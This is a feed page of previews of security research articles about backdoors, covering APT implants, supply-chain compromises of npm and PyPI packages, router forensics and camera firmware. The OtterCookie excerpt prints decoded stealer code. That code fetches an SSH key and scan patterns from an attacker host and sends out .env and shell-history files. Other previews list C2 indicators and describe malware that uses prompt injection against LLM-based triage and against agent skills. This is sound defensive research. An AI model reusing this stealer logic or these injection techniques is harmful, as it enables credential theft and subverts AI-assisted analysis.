# backdoor Published articles for backdoor. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## China's Salt Typhoon backdoors Latin American orgs with new snooping malware DevFeed: [China's Salt Typhoon backdoors Latin American orgs with new snooping malware]() Original publisher: [Read original article]() Author: Jessica Lyons Published: 2026-09-17T18:00:17Z Content type: news Language: en Sources: [www.theregister.com - Articles]() Topics: [backdoor](), [Malware](), [Cybersecurity](), [infosec]() Tags: [backdoor](), [backdoor-malware](), [china](), [cyber](), [cybersecurity](), [malware](), [salt-typhoon](), [security](), [sparrowocky]() ### AI overview A news report about Salt Typhoon using new snooping backdoors and malware against organizations in Latin America. ### Source excerpt Beware the SparroWocky, my son! The backdoor that bites... ## ESET Researchers Analyze SparroWocky, a New C++ Backdoor Used by FamousSparrow DevFeed: [ESET Researchers Analyze SparroWocky, a New C++ Backdoor Used by FamousSparrow]() Original publisher: [Read original article]() Author: Alexandre Côté Cyr Romain Dumont Published: 2026-09-17T08:50:00Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [backdoor](), [Malware](), [apt](), [C++](), [ESET research](), [Windows](), [vulnerability]() Tags: [apt](), [backdoor](), [c-plus-plus](), [eset-research](), [malware](), [sparrowocky](), [vulnerability](), [windows](), [windows-internals]() ### AI overview ESET researchers analyze SparroWocky, a modular C++ backdoor that the China-aligned FamousSparrow group has deployed against organizations in Latin America since at least August 2025. ### Source excerpt ESET researchers document SparroWocky, the new flagship backdoor of the FamousSparrow APT group ## Laravel Scalpel Scans for Filesystem Intrusion Evidence DevFeed: [Laravel Scalpel Scans for Filesystem Intrusion Evidence]() Original publisher: [Read original article]() Author: Yannick Lyn Fatt Published: 2026-09-17T01:38:29Z Content type: article Language: en Sources: [Laravel]() Topics: [Laravel](), [Filesystems](), [Security](), [backdoor](), [PHP]() Tags: [backdoor](), [filesystem](), [laravel](), [laravel-packages](), [php](), [security](), [sha-256]() ### AI overview Laravel Scalpel is an intrusion-evidence scanner that runs inside Laravel applications. It checks filesystems for rogue PHP files, obfuscated code, altered server directives, environment issues, and changes from a trusted baseline. ### Source excerpt Laravel Scalpel scans Laravel filesystems for rogue PHP files, obfuscated backdoors, altered directives, environment issues, and file changes. The post Laravel Scalpel Scans for Filesystem Intrusion Evidence appeared first on Laravel News. Join the Laravel Newsletter to get Laravel articles like this directly in your inbox. ## Forensic Walkthrough of a Compromised MikroTik Router and Its Persistence Mechanisms DevFeed: [Forensic Walkthrough of a Compromised MikroTik Router and Its Persistence Mechanisms]() Original publisher: [Read original article]() Author: j2sw Published: 2026-09-16T13:32:46Z Content type: article Language: en Sources: [Justin Wilson (j2sw)]() Topics: [MikroTik](), [Vulnerabilities](), [Persistence](), [remote access](), [backdoor](), [ssh]() Tags: [backdoor](), [cybersecurity](), [firmware](), [forensics](), [incident-response](), [mikortrick](), [mikrotik](), [network-operations](), [network-security](), [persistence](), [remote-access](), [security](), [ssh](), [vulnerabilities]() ### AI overview A forensic walkthrough examines a compromised MikroTik router in a honeypot. The intruders established persistence and remote access through scheduled tasks, scripts, new users, and tunnels. The author suspects, but cannot prove, that the compromise involved the MikroTrick RouterOS vulnerability chain. ### Source excerpt What it looks like when an intruder tries to make your own router work against you. A note before we start: Anything in this post that could identify my network, my organization, or my router's real hostname and IP address has been redacted or made generic. The attacker's own infrastructure, such as IP addresses, ports, ... Read more The post A first-hand forensic walkthrough of a real router compromise appeared first on Justin Wilson (j2sw). ## Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure DevFeed: [Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure]() Original publisher: [Read original article]() Author: Rem Dudas Published: 2026-09-09T10:00:55Z Content type: article Language: en Sources: [Unit 42]() Topics: [ARKTunnel](), [backdoor]() Tags: [arktunnel](), [backdoor](), [c2](), [cl-cri-1171](), [cybercrime](), [docro-hijacker](), [gaming](), [malware](), [pay-per-install](), [payload](), [remote-access-trojan](), [threat-research](), [youtube]() ### AI overview An investigation of the CL-CRI-1171 cybercrime campaign describes how YouTube gaming lures and SEO poisoning delivered malware through a custom loader. It covers Docro Hijacker, ARKTunnel, and the Insomnia remote access Trojan. ### Source excerpt An investigation into how cybercriminals used YouTube gaming lures and SEO poisoning to deliver multi-payload malware to enterprise networks. The post Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure appeared first on Unit 42. ## The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution DevFeed: [The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution]() Original publisher: [Read original article]() Author: Sara McBroom Published: 2026-08-25T10:00:57Z Content type: article Language: en Sources: [Unit 42]() Topics: [Malware](), [Artificial Intelligence](), [Security](), [Endpoint Security & XDR](), [VirusTotal](), [dataset](), [data](), [ChatGPT](), [ransomware](), [Cryptocurrency]() Tags: [agentic](), [ai](), [analysis](), [article](), [backdoor](), [bitcoin](), [code](), [cryptocurrency](), [data](), [dll-hijacking](), [malware](), [ransomware](), [research](), [sandbox](), [security](), [threat-research](), [virustotal]() ### AI overview Unit 42 analyzes 405 malware samples incorporating AI through mechanisms such as brand impersonation, LLM-generated code, and agentic execution loops. The research finds that most samples remain proof-of-concept or sandbox activity, while existing behavioral detection, cloud sandboxing, and endpoint analytics can detect the threats that reach operational environments. ### Source excerpt Explore Unit 42 research on AI-enabled malware. Learn how existing behavioral detection and endpoint analytics stop AI-authored code before execution. The post The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution appeared first on Unit 42. ## 'ChainDrop' worm compromises hundreds of popular npm packages DevFeed: ['ChainDrop' worm compromises hundreds of popular npm packages]() Original publisher: [Read original article]() Author: Christophe Tafani-Dereeper, Nick Frichette, Sebastian Obregoso, Martin McCloskey Published: 2026-08-04T00:00:00Z Content type: article Language: en Sources: [Datadog Security Labs]() Topics: [backdoor](), [releases]() Tags: [backdoor](), [chaindrop](), [github](), [malware](), [npm-packages]() ### AI overview ChainDrop is an npm worm that spread a backdoor through hundreds of compromised packages. The article analyzes its loader, which downloads or invokes Bun to run a second-stage payload. ### Source excerpt On August 4, 2026, several popular npm packages, including 'keyv', were compromised to deliver malware. ## Not-so-anonymous telemetry: The @injectivelabs/sdk-ts backdoor DevFeed: [Not-so-anonymous telemetry: The @injectivelabs/sdk-ts backdoor]() Original publisher: [Read original article]() Author: Sebastian Obregoso, Christophe Tafani-Dereeper, Eslam Salem Published: 2026-07-09T00:00:00Z Content type: news Language: en Sources: [Datadog Security Labs]() Topics: [backdoor](), [SDKs](), [Blockchain](), [Malware](), [Git](), [npm](), [Bitcoin](), [TypeScript](), [servers](), [ci](), [Prettier]() Tags: [backdoor](), [bitcoin](), [blockchain](), [ci](), [code](), [git](), [github](), [http](), [malware](), [server](), [telemetry](), [typescript]() ### AI overview A malicious commit briefly compromised the Injective blockchain's @injectivelabs/sdk-ts npm package by disguising a credential-stealing backdoor as telemetry code. The malware captured wallet mnemonic seed phrases and private keys, encoded them, and exfiltrated them through HTTP requests to a remote endpoint before the code was reverted. ### Source excerpt A malicious commit disguised as SDK telemetry briefly compromised @injectivelabs/sdk-ts, exfiltrating wallet mnemonics and private keys. ## macOS.Gaslight | Rust Backdoor Turns Prompt Injection on the Analyst, Not the Sandbox DevFeed: [macOS.Gaslight | Rust Backdoor Turns Prompt Injection on the Analyst, Not the Sandbox]() Original publisher: [Read original article]() Author: Phil Stokes Published: 2026-06-23T21:59:42Z Content type: article Language: en Sources: [SentinelLabs - We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms.]() Topics: [AI Bots](), [AI Chat]() Tags: [agent](), [analysis](), [api](), [apple](), [attacks](), [backdoor](), [c2](), [data](), [llm](), [logs](), [macos](), [malware](), [payload](), [rust](), [sandbox](), [spoof](), [telegram](), [tls](), [update](), [virustotal]() ### AI overview SentinelLABS analyzes macOS.Gaslight, a Rust implant whose embedded prompt injection attempts to derail LLM-assisted malware triage. The report describes Telegram Bot API command and control, encrypted communications, token redaction, and a suspected DPRK-linked activity cluster. ### Source excerpt DPRK-linked implant embeds 38 fabricated system messages that spoof an LLM triage harness, hiding a credential stealer and Telegram C2 underneath. ## MetaStealer traffic, new DGAs and analyzing the "tracker" backdoor DGA with AI DevFeed: [MetaStealer traffic, new DGAs and analyzing the "tracker" backdoor DGA with AI]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-06-17T21:54:01Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Malware](), [backdoor](), [payload](), [Python](), [Claude](), [Artificial Intelligence]() Tags: [ai](), [backdoor](), [capture](), [claude](), [claude-ai](), [infosec](), [ip](), [malware](), [payload](), [port](), [python](), [reverse-engineering]() ### AI overview The article examines new MetaStealer domain-generation algorithms and explains that its gate servers rely more on IP addresses, ports, URIs, and HTTP headers than on domains. It also analyzes RuntimeSync, a developing malware sample with RAT and backdoor capabilities, and describes using Claude.ai Sonnet 4.6 to reverse engineer its DGA and produce Python simulation code. ### Source excerpt By: Jason Reaves and Joshua Platt In this blog we simply want to highlight a few new additions to what appears to be related to MetaStealer, one is a new wordlist based DGA used by MetaStealer. We also want to highlight that MetaStealer's proxies or 'gates' don't actually care what domain gets used as it's just a config item; they simply pass on the traffic to another server. We also want to highlight a task that was seen delivered to a few bots which is related to MetaStealer but appears to still be in development. This turned out to be a piece of malware that contains RAT/backdoor functionality. Leveraging Claude.ai Sonnet 4.6 we were able to systematically guide the AI to automatically reverse engineer the DGA used in the backdoor malware and provide working python code to simulate it. MetaStealer DGA: As previously mentioned MetaStealers new DGA is based on a wordlist. Below are some recent examples: sea-vast-send.com 46bbaceb6073f196bf7737c67f5394a6465e396bbcbbac1afe5f2f866c995fd0hxxp://pestrear-lamp.xyz:443 d57e132866286f9b4227c7fb1cd77f16a461e76a3f3e71362734741aab6b9a96hxxp://anus-staylard.xyz:443 d1b88ded80f0e616362b8984334c69da1ea2f32d0828480e32978d1a710f40c5 This does not mean, however, that the older DGA is no longer in use; it remains active. The threat actor (TA) has designed their gate servers in such a way that they are largely agnostic to the domain being used. Instead, the IP address, port, URI, and HTTP headers are the more important factors. 155.117.20.75 qocyeicmusmegouw.xyz 213.139.77.254 uumcceymkuymmqou.xyz We didn't focus on this DGA though because during our investigation we stumbled on a piece of malware being actively developed by the same TA that also had a DGA. Backdoor "tracker" During the investigation, we observed a peculiar payload being delivered to several machines: an installer named RuntimeSync, example hash: 82c218357266ce314f523946bdd661cc335a120981c471e95d70af7fbd4d9141 RuntimeSyncExe: PE32+ executable (GUI) x86-64, for MS Win ## FishMonger's arsenal upgraded: SprySOCKS for Windows DevFeed: [FishMonger's arsenal upgraded: SprySOCKS for Windows]() Original publisher: [Read original article]() Author: ESET Research Published: 2026-06-16T08:54:04Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [backdoor](), [Processes](), [telemetry]() Tags: [analysis](), [apt](), [backdoor](), [china](), [communication](), [drivers](), [eset-research](), [government](), [kernel](), [linux](), [malware](), [process](), [processes](), [telemetry](), [virustotal](), [windows]() ### AI overview ESET reports two previously undocumented Windows variants of the SprySOCKS backdoor attributed to FishMonger. The variants use TCP, UDP, and WebSocket communications; WIN_DRV uses a kernel driver to conceal artifacts and redirect specially crafted TCP traffic. ### Source excerpt ESET researchers have discovered SprySOCKS for Windows, FishMonger's backdoor weaponizing a kernel driver for advanced stealthiness ## OceanLotus: From external espionage to domestic targeting DevFeed: [OceanLotus: From external espionage to domestic targeting]() Original publisher: [Read original article]() Author: ESET Research Published: 2026-06-11T08:45:00Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [backdoor](), [networking]() Tags: [apt](), [attacks](), [backdoor](), [dns](), [eset-research](), [linux](), [supply-chain](), [telemetry]() ### AI overview The article analyzes OceanLotus's shift toward domestic espionage and two SPECTRALVIPER campaigns in Vietnam: a targeted supply-chain compromise of investor software and a prolonged intrusion against a construction corporation. ### Source excerpt A shift in operational pattern of the infamous Vietnam-aligned APT group ## LABScon25 Replay | Gamaredon x Turla: Unveiling a 2025 Espionage Alliance Targeting Ukraine DevFeed: [LABScon25 Replay | Gamaredon x Turla: Unveiling a 2025 Espionage Alliance Targeting Ukraine]() Original publisher: [Read original article]() Author: LABScon Published: 2026-06-02T13:00:58Z Content type: article Language: en Sources: [SentinelLabs - We are hunters, reversers, exploit developers, and tinkerers shedding light on the world of malware, exploits, APTs, and cybercrime across all platforms.]() Topics: [LABScon](), [Malware](), [Threat Research](), [Reverse Engineering](), [Threat Hunting & Intel](), [backdoor]() Tags: [analysis](), [apt](), [attacks](), [backdoor](), [conferences](), [labscon](), [labscon25](), [malware](), [presentation](), [research](), [reverse-engineering]() ### AI overview ESET researchers present technical evidence that Gamaredon facilitated Turla's access to high-value Ukrainian targets between February and June 2025. The presentation examines their operational collaboration, the deployment of Turla's Kazuar backdoor, and the implications for defenders tracking Russian cyberespionage. ### Source excerpt ESET researchers show how Gamaredon facilitated Turla access to Ukrainian targets, revealing rare cooperation between FSB-linked espionage groups. ## Bringing full YAML anchor support to zizmor DevFeed: [Bringing full YAML anchor support to zizmor]() Original publisher: [Read original article]() Author: "Alexis Challande" Published: 2026-05-22T11:00:00Z Content type: article Language: en Sources: [The Trail of Bits Blog](), [The Trail of Bits Blog]() Topics: [GitHub Actions](), [YAML](), [GitHub](), [ci](), [BigQuery](), [bug](), [Open Source](), [dataset]() Tags: [backdoor](), [bigquery](), [bug](), [bugs](), [ci](), [ecosystem-security](), [engineering-practice](), [github](), [github-actions](), [open-source](), [post-mortem](), [pull-requests](), [secrets](), [supply-chain](), [testing]() ### AI overview Trail of Bits describes how it collaborated with zizmor maintainers to add full YAML anchor support to the GitHub Actions static analyzer. The work fixed parsing and deserialization issues, aligned expression evaluation with GitHub's tests, and was validated against 41,253 workflows from 6,612 open-source repositories. ### Source excerpt In March 2026, attackers exploited a pull_request_target misconfiguration in the aquasecurity/trivy-action GitHub Action to exfiltrate organization and repository secrets, then used those credentials to backdoor LiteLLM on PyPI (see Trivy's post-mortem for the full timeline). zizmor is a static analyzer that GitHub Actions users run to catch exactly these misconfigurations before they ship. When GitHub Actions added support for YAML anchors in September 2025, a small but high-value slice of the ecosystem started writing workflows that zizmor could only analyze on a best-effort basis. Over the past three months, Trail of Bits collaborated with the zizmor maintainers to bring zizmor's anchor support up to full coverage. First, we fixed parsing bugs that caused crashes, produced wrong-location findings, and silently mishandled aliased values. Second, we surfaced deserialization edge cases that broke zizmor on otherwise valid workflows. Finally, we helped align zizmor's expression evaluator with GitHub's own Known Answer Tests. We validated all of this against a new corpus of 41,253 workflows from 6,612 high-value open-source repositories. The result: 20 filed issues, 15 merged pull requests. Building the test corpus To understand how anchors are used in CI today and to stress-test zizmor against the full variety of YAML it encounters in the wild, we built a corpus of real workflows. We used BigQuery's GitHub dataset to identify the 10,000 most-starred repositories created between 2022 and 2025, filtered to the 6,612 that use GitHub Actions, and downloaded every workflow file. That gave us 41,253 YAML files. Figure 1: Building a testing corpus When we ran zizmor against the corpus, it crashed on 45 of the 41,253 workflows. That's a low rate, but each crash means a bug in zizmor. How anchors are used in the wild zizmor's anchor support was deliberately limited, and for good reason. YAML anchors make workflows non-local: an alias defined in one place changes behavior else ## Webworm: New burrowing techniques DevFeed: [Webworm: New burrowing techniques]() Original publisher: [Read original article]() Author: Eric Howard Published: 2026-05-20T08:40:00Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [Malware](), [backdoor](), [Reconnaissance](), [Discord](), [GitHub](), [API](), [Microsoft](), [Bash](), [Virtual Private Network](), [Amazon S3]() Tags: [api](), [apt](), [backdoor](), [bash](), [china](), [discord](), [eset-research](), [europe](), [github](), [ip](), [malware](), [microsoft](), [s3](), [server](), [techniques](), [tools]() ### AI overview ESET researchers analyze Webworm's 2025 activity, including its shift toward Europe, new Discord- and Microsoft Graph API-based backdoors, proxy tools, reconnaissance activity, and GitHub-hosted malware staging. ### Source excerpt ESET researchers describe new tools and techniques that the Webworm APT group recently added to its arsenal ## Backdoored node-ipc npm releases steal developer credentials through DNS queries DevFeed: [Backdoored node-ipc npm releases steal developer credentials through DNS queries]() Original publisher: [Read original article]() Author: Nick Frichette Published: 2026-05-14T00:00:00Z Content type: article Language: en Sources: [Datadog Security Labs]() Topics: [Malware](), [npm](), [backdoor](), [payload](), [Amazon Route 53](), [Code](), [Cloud](), [Kubernetes](), [Databases](), [OpenSSH]() Tags: [analysis](), [backdoor](), [cloud](), [code](), [database](), [developer](), [dns](), [fork](), [kubernetes](), [malware](), [npm](), [payload](), [process](), [ssh]() ### AI overview This article analyzes three backdoored node-ipc releases published to npm on May 14, 2026. The malicious CommonJS entrypoint launches a detached process, collects environment, host, developer, cloud, package manager, source control, Kubernetes, database, and SSH credentials, archives the data, and attempts DNS TXT exfiltration. ### Source excerpt An analysis of backdoored node-ipc npm releases that add an obfuscated credential collection and DNS exfiltration payload to the CommonJS entrypoint. ## Malicious Release of elementary-data PyPI Package Steals Cloud Credentials from Data Engineers DevFeed: [Malicious Release of elementary-data PyPI Package Steals Cloud Credentials from Data Engineers]() Original publisher: [Read original article]() Author: Liran Tal Published: 2026-04-27T23:00:00Z Content type: news Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [data observability](), [GitHub Actions](), [Security](), [supply-chain-security](), [vulnerability](), [backdoor](), [Python](), [data-engineering](), [Cloud](), [ssh]() Tags: [awareness](), [aws](), [backdoor](), [blog](), [data-engineering](), [developer](), [devops](), [devrel](), [docker](), [github-actions](), [kubernetes](), [python](), [security](), [snyk-platform](), [ssh](), [supply-chain](), [supply-chain-security](), [vulnerability]() ### AI overview Attackers compromised the elementary-data Python package's GitHub Actions publication pipeline through script injection and released malicious content that stole cloud credentials and SSH secrets from data engineering environments. ### Source excerpt Attackers exploited a GitHub Actions script injection vulnerability to publish a malicious version of the elementary-data Python CLI (v0.23.3), embedding a credential-stealing backdoor that targeted dbt profiles, cloud provider keys, and SSH secrets from data engineering environments. ## GopherWhisper: A burrow full of malware DevFeed: [GopherWhisper: A burrow full of malware]() Original publisher: [Read original article]() Author: Eric Howard Published: 2026-04-23T08:59:18Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [backdoor](), [Go Language](), [C++]() Tags: [api](), [apt](), [backdoor](), [c-plus-plus](), [china](), [discord](), [eset-research](), [go](), [malware](), [microsoft-365](), [slack]() ### AI overview ESET Research describes GopherWhisper, a China-aligned APT group targeting a Mongolian government entity. Its largely Go-based malware toolset uses backdoors, injectors, loaders, and legitimate services including Discord, Slack, Microsoft 365 Outlook, and file.io for command-and-control and exfiltration. ### Source excerpt ESET Research has discovered a new China-aligned APT group that we've named GopherWhisper, which targets Mongolian governmental institutions ## Mapping Ottercookie Infrastructure DevFeed: [Mapping Ottercookie Infrastructure]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:33:39Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Threat Research](), [Malware](), [JavaScript](), [npm](), [ssh](), [Feathers]() Tags: [backdoor](), [credentials](), [infosec](), [javascript](), [malware](), [malware-analysis](), [npm](), [reverse-engineering](), [ssh]() ### AI overview Jason Reaves analyzes infrastructure associated with OtterCookie and related DPRK-linked malware activity. The article examines a NodeJS package whose decoded code downloads an SSH key, retrieves scan patterns targeting files such as .env and shell history, and sends collected files to remote infrastructure. It then uses port mappings and banner hashes to map additional infrastructure. ### Source excerpt By: Jason Reaves A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4]. Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it's pretty similar to malware analysis; just more pattern matching. While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns. 3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d "name": "npm-doc-builder", "version": "1.0.5", "description": "", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "publishConfig": { "access": "public" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "os": "^0.1.2" }, "engines": { "node": ">=18" }, "keywords": [], "author": "", "license": "ISC", "type": "commonjs" The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally: const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/"); const { msg: _0x50cbce } = await _0x30c718.json(); let _0x581499 = false; if (process.platform === "linux") { _0x581499 = addSshKeyToUser(_0x50cbce); It will also download patterns for scanning const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns"); const { scanPatterns: _0x28ca54 } = await _0x3c4caa.json(); In this case it returned: {"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]} Ultimately wanting to send off the files: for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7 ## Compromised axios npm package delivers cross-platform RAT DevFeed: [Compromised axios npm package delivers cross-platform RAT]() Original publisher: [Read original article]() Author: Christophe Tafani-Dereeper Published: 2026-03-31T00:00:00Z Content type: article Language: en Sources: [Datadog Security Labs]() Topics: [npm packages](), [Remote Access Trojan](), [backdoor](), [account takeover](), [payload](), [npm](), [OpenID connect (OIDC)](), [GitHub Actions](), [Linux](), [Windows]() Tags: [account-takeover](), [backdoor](), [ci-cd](), [github-actions](), [linux](), [npm-packages](), [oidc](), [payload](), [remote-access-trojan](), [supply-chain](), [windows]() ### AI overview The article analyzes a March 31, 2026 supply-chain compromise in which an attacker hijacked an axios npm maintainer account and published two malicious releases. The releases added a typosquatted dependency that installed a cross-platform remote access trojan, though bugs limited the Windows and Linux payloads. The compromise lasted about three hours before npm removed the packages. ### Source excerpt An attacker hijacked an axios maintainer's npm account to publish malicious releases that deliver a cross-platform RAT. ## Sednit reloaded: Back in the trenches DevFeed: [Sednit reloaded: Back in the trenches]() Original publisher: [Read original article]() Author: ESET Research Published: 2026-03-10T09:58:00Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [apt](), [Cloud](), [obfuscation](), [PowerShell](), [Code](), [Network](), [Open Source]() Tags: [apt](), [attacks](), [backdoor](), [cloud](), [code](), [department-of-justice](), [eset-research](), [network](), [obfuscation](), [open-source](), [powershell](), [us]() ### AI overview This article examines the resurgence of Sednit, also known as APT28, and its modern espionage toolkit. It describes the BeardShell and Covenant implants, their use of legitimate cloud providers for command and control and resilience, PowerShell execution, obfuscation, and links to Sednit's earlier tools and operations. ### Source excerpt The resurgence of one of Russia's most notorious APT groups ## Snyk Finds Prompt Injection in 36%, 1467 Malicious Payloads in a ToxicSkills Study of Agent Skills Supply Chain Compromise DevFeed: [Snyk Finds Prompt Injection in 36%, 1467 Malicious Payloads in a ToxicSkills Study of Agent Skills Supply Chain Compromise]() Original publisher: [Read original article]() Author: Luca Beurer-Kellner; Aleksei Kudrinskii; Marco Milanta; Kristian Bonde Nielsen; Hemang Sarkar; Liran Tal Published: 2026-02-05T05:00:00Z Content type: article Language: en Sources: [Blog RSS Feed | Snyk]() Topics: [Agent Skills](), [Security](), [supply-chain-security](), [prompt injection](), [AI Agent](), [Credential theft](), [Malware](), [Claude Code](), [cursor](), [OpenClaw](), [API keys](), [backdoor]() Tags: [agent](), [agent-skills](), [ai](), [api-keys](), [awareness](), [backdoor](), [blog](), [credential-theft](), [developer](), [malware](), [prompt-injection](), [security](), [supply-chain](), [supply-chain-security](), [vulnerability-insights]() ### AI overview Snyk's ToxicSkills audit examined 3,984 AI agent skills and found that 36.82% had at least one security flaw. The research identified malware, credential theft, prompt injection, exposed secrets, backdoors, and data exfiltration affecting users of OpenClaw, Claude Code, and Cursor. ### Source excerpt Snyk's ToxicSkills research reveals 36% of AI agent skills contain security flaws, including 1,467 vulnerable skills and active malicious payloads targeting OpenClaw, Claude Code, and Cursor users. ## Backdoors in VStarcam cameras DevFeed: [Backdoors in VStarcam cameras]() Original publisher: [Read original article]() Author: Wladimir Palant Published: 2026-01-07T13:01:48Z Content type: article Language: en Sources: [Almost Secure]() Topics: [Security](), [backdoor](), [passwords](), [P2P](), [Protocol (disambiguation)]() Tags: [backdoor](), [cameras](), [p2p](), [passwords](), [protocol](), [security]() ### AI overview An investigation of VStarcam cameras finds that firmware mechanisms systematically undermine administrator-password protection by leaking passwords and exposing cameras through internet-connected P2P functionality. The article also examines insecure firmware updates delivered over plain HTTP and recommends restricting internet access with a network firewall or using custom firmware. ### Source excerpt VStarcam is an important brand of cameras based on the PPPP protocol. Unlike the LookCam cameras I looked into earlier, these are often being positioned as security cameras. And they in fact do a few things better like... well, like having a mostly working authentication mechanism. In order to access the camera one has to know its administrator password. So much for the theory. When I looked into the firmware of the cameras I discovered a surprising development: over the past years this protection has been systematically undermined. Various mechanisms have been added that leak the access password, and in several cases these cannot be explained as accidents. The overall tendency is clear: for some reason VStarcam really wants to have access to their customer's passwords. A reminder: "P2P" functionality based on the PPPP protocol means that these cameras will always communicate with and be accessible from the internet, even when located on a home network behind NAT. Short of installing a custom firmware this can only addressed by configuring the network firewall to deny internet access. Contents How to recognize affected cameras Downloading the firmware Caveats of this survey VStarcam's authentication approach Endpoint protection Unauthenticated log access Explicit password leaking via logs Log uploading Password-leaking backdoor Establishing a timeline The impact Coordinated disclosure attempt Recommendations How to recognize affected cameras Not every VStarcam camera has "VStarcam" printed on the side. I have seen reports of VStarcam cameras being sold under the brand names Besder, MVPower, AOMG, OUSKI, and there are probably more. Most cameras should be recognizable by the app used to manage them. Any camera managed by one of these apps should be a VStarcam camera: Eye4, EyeCloud, FEC Smart Home, HOTKam, O-KAM Pro, PnPCam, VeePai, VeeRecon, Veesky, VKAM, VsCam, VStarcam Ultra. Downloading the firmware VStarcam cameras have a mechanism to deliver firmware updates (Loo ## LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and Japan DevFeed: [LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and Japan]() Original publisher: [Read original article]() Author: Anton Cherepanov Peter Strýček Published: 2025-12-18T10:00:00Z Content type: article Language: en Sources: [WeLiveSecurity]() Topics: [backdoor](), [.NET](), [enterprise deployment]() Tags: [apt](), [backdoor](), [browser](), [c-sharp](), [china](), [cloud](), [cloud-services](), [eset-research](), [google](), [japan](), [malware](), [microsoft](), [net](), [policy](), [techniques](), [windows]() ### AI overview ESET describes LongNosedGoblin, a China-aligned APT group conducting cyberespionage against governmental entities in Southeast Asia and Japan. The group deploys malware through Group Policy and uses tools including the NosyDoor backdoor and the C#/.NET NosyHistorian application. ### Source excerpt ESET researchers discovered a China-aligned APT group, LongNosedGoblin, which uses Group Policy to deploy cyberespionage tools across networks of governmental institutions [Next page]()